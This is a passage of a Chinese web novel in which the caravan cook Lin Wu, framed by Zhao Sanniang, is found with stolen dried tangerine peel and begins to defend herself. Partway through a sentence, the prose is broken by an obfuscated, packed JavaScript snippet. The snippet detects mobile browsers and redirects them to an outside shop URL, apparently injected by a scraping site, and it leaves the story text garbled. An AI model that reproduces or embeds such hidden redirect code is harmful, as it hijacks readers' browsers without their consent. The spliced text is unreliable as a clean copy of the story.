“不可能，”胡大叔斩钉截铁，“凡是贵重些的香料，取用必须经我手记账，绝无可能出差错！” 赵三娘在一旁瞧着，也着急起来：“会不会是路上颠簸，从架子上震落，滚到哪个角落里去了？” 胡大叔摇了摇头：“这般贵重干货不会随意摆放，都在单独的货柜装着，掉不出去。” “会不会是取旁的干货时，不小心碰到，掉出来了？”赵三娘说着，忽然吸了吸鼻子，“我在京中时，家里常备此物，对这味道再熟悉不过。您二位若信得过，容我上去帮着找找可行？我眼神还算利落，对这气味也敏感，兴许能寻到些踪迹。” 小赵当即点头：“那真是再好不过，有劳嫂子！一串陈皮事小，可商队里物件无故短少却是大忌，必须弄个明白。” 得到准许，赵三娘立刻利落地翻进车厢。 她先是在货架四周仔细查看，鼻子不时轻嗅，又俯身在角落摸索。很快，她的目光锁定在车厢角落里那个毫不起眼的小包袱上，脚步也随之挪了过去。 “这……”赵三娘蹲在车厢里，脸上有些迟疑。 “嫂子，怎么样，可有发现？”小赵在车下扬声问道。 赵三娘欲言又止，神色有些为难，没出声。 “嫂子若有什么发现，但说无妨，查明东西去向要紧。”小赵语带催促。 赵三娘深吸一口气，伸手指着那小包袱：“我、我闻到这小包袱里，透着一股陈皮香。” 她顿了顿，又补充道：“应该错不了的，我对这味道再熟悉不过了。” “嫂子，您可确定？”小赵眉头紧锁，神色变得严肃。 “这香气独特，我至少有八九分把握。”赵三娘语气笃定。 小赵闻言，面色一沉，转向胡大叔：“胡叔，此事非同小可，您在此处守着，我去请管事和厨娘过来。” 很快，相关人等都到齐了。 一些在附近歇息的人，瞧着这边的动静，似是有热闹看，又三三两两地跟了过来。 张管事面色沉静，目光落在两位厨娘身上，开门见山：“林娘子、李三娘，公中少了一串上等陈皮，需查验清楚。” 林芜与李三娘闻言皆是一惊，面面相觑。围观的众人也是脸色皆变。 林芜率先上前说道：“需如何查验，请管事吩咐。” 李三娘也回过神来，连忙点头：“是是是，管事明鉴，我们每日取用食材都是有数的，帮厨的师傅和胡大叔都清楚，绝不敢胡来。” 小赵抬手指着那灰扑扑的小包袱，声音里听不出半点情绪：“张管事，赵嫂子指称，这包袱里透着陈皮香气。依规矩，需开包查验。” 李三娘一看那包袱，猛地转头，震惊地看向林芜，嘴唇动了动，终究没立刻出声。 一片沉寂中，林芜先是看了一眼赵三娘，才上前半步，将那个包袱拿起：“回管事，这是我的包袱。” 她目光坦然地迎向张管事：“我可对天发誓，自入商队以来，从未偷拿过后厨一针一线，更不曾动过分毫不属于自己的物件。” “是否清白，查过便知。”张管事语气平稳，却不容置疑。 林芜神色如常，只将包袱递给胡大叔：“身正不怕影子斜，您查吧。” 胡大叔上前，解开了小包袱。 当几件旧衣物被挪开，一个用油纸仔细包裹的长条物赫然呈现。一揭开油纸，一串品相上佳的陈皮明晃晃映入所有人的眼帘。 人赃并获！ 李三娘倒吸一口凉气，难以置信地看着林芜。 张管事脸色倒是平静，目光移向林芜：“林娘子，你还有何话可说？” 林芜神色却未见慌乱，只抬眼迎上张管事的视线，声音平静：“既是从我的包袱中翻出，我无可辩驳。只是心中尚有些疑惑，想请管事与诸位容我一问，也请大家一同思量。” 张管事点了点头。 林芜声音微微扬起，不高却清晰：“管事、胡大叔与后厨众人都清楚，商队的好陈皮是整批存放的。而我只是个临时厨娘，每日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16926025|191476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用料皆需跟胡大叔登记领取。众人皆可作证，这几日膳食之中，可曾用过一片陈皮？” 李三娘连忙摇头说道：“是是是，咱们这几日的餐食都未用过陈皮。” 林芜颔首，继续道：“退一步来说，若我真有心偷窃，最稳妥的法子，应当是这几日应特意做些需用陈皮的餐食，再借着领取用料的机会，每回多拿一两片，细水长流，岂不更不易察觉？这样一次取走一整串，是生怕旁人发现不了么？” 闻言，周围不少人面露思索，暗暗点头。 林芜接着话锋一转，目光投向一旁的赵三娘：“再有便是，今日这桩事，起因是赵嫂子声称女儿病重，急需陈皮救命。性命攸关，本该心急如焚。可如今我瞧这孩子气息面色却已平稳不少，赵嫂子此刻似乎也并不着急煮药救人了？” 大家也循着林芜的目光看向赵三娘母女俩，这会儿那孩子紧紧搂着赵三娘的大腿，看不到脸，可瞧着已无甚大碍。赵三娘脸色微白，一只手正不住地轻拍孩子后背，低声安抚。 “多谢林娘子关心，”赵三娘稳住声气，勉强答道，“许是方才闻着这般好的陈皮香，孩子舒坦了不少。” 林芜并未接她这话，而是继续问道：“此前赵嫂子曾寻我换炊饼，称是临时带孩子匆忙出门，没来得及置办家伙。这回却找商队单独借这陈皮来煮粥，想问赵嫂子您这会儿是有粳米也有锅灶了，就独独缺锦程行这一味陈皮了吗？ 更教人费解的是，锦程行货物众多，连胡大叔都要翻找半晌。你一个外人却能不偏不倚径直找到我的包袱上来？倒像是早知它藏在何处一般。” 疑问直指赵三娘。 众人的目光也齐刷刷地从林芜身上，转向赵三娘。 赵三娘被问得身形一晃，眼眶瞬间就红了。 她本就容貌秀气，此时泪目盈盈，更显楚楚可怜。 “林娘子……您、您这又是何苦？”她声音哽咽，像是带着天大的委屈，“您自个儿行事不端，被人发现了，为何非要攀扯到我一个苦命人身上？” 她一手将女儿紧紧搂向身侧，一手无助地按着心口：“莫不是瞧我们孤儿寡母，孩子又病弱，无依无靠，便觉着我们好欺负么” 说到这里，她几乎要泣不成声，连连用手轻拍着胸口顺气，才勉强稳住话音继续道：“我不过是见小赵哥着急寻物，念着同是路上人，才好心帮着寻找。先前闻到味道，我心中也是万分犹豫，不敢轻易指认，就怕平白污了谁的名声。也是小赵哥一再保证查明便好，我、我这才……” 她抬袖拭泪，声音颤抖，却仍强撑着维持条理：“林娘子要为自己辩白，理所应当。可您……您怎能空口白牙，硬将这样歹毒的罪名扣在我头上？ 是，您说的对，我赵三娘是外人，不可能知晓这陈皮究竟收在哪辆车的哪个角落，方才也是这位小哥和胡大叔领着我过来的。怎的到了您嘴里，竟成了我自个儿直直奔着您包袱去了？ 再有，诸位请想一想，这于情于理，说得通吗？我与林娘子不过是路上偶遇，萍水相逢，无冤无仇，我为何要煞费苦心，设下如此圈套来陷害您？这于我又有何好处？我图什么呢？” 她说到这里，略微停顿，看向始终一言不发的张管事，声音哀戚：“至于熬粥的锅灶米粮，是，我此刻确实未曾备齐。但我晓得在这行商路上，米面易得，锅灶亦可借，唯独这年份足品质好的陈皮最为难寻。我想着，只要先求得这最紧要的一味药，其他的，哪怕是豁出脸面去挨家恳求，也总能想到法子凑齐。救我女儿的命，才是头等大事啊！” 她这一番言辞恳切，也能自圆其说，众人觉得有理。 “听着……倒也在理。” “是啊，救命要紧，哪能等万事齐备？” “她一个外人，怎知陈皮放在哪儿？” “无冤无仇的，何必害人？” 就在众人窃窃私语之际，林芜平静地瞧了一眼此时已哭得似肝肠寸断的赵娘子，再次转向张管事，声音依旧平稳：“张管事明鉴，诸位也请听我一言。这串陈皮出现在我的包袱里，我是早已知晓的。” 此言一出，大家皆是瞪圆了眼睛。 一直紧紧挨在林芜腿边的林景，此刻也抬起头，眼中毫无惧意，小小的胸膛微微挺起。 赵三娘的哭声也戛然而止，愕然地抬头望向她。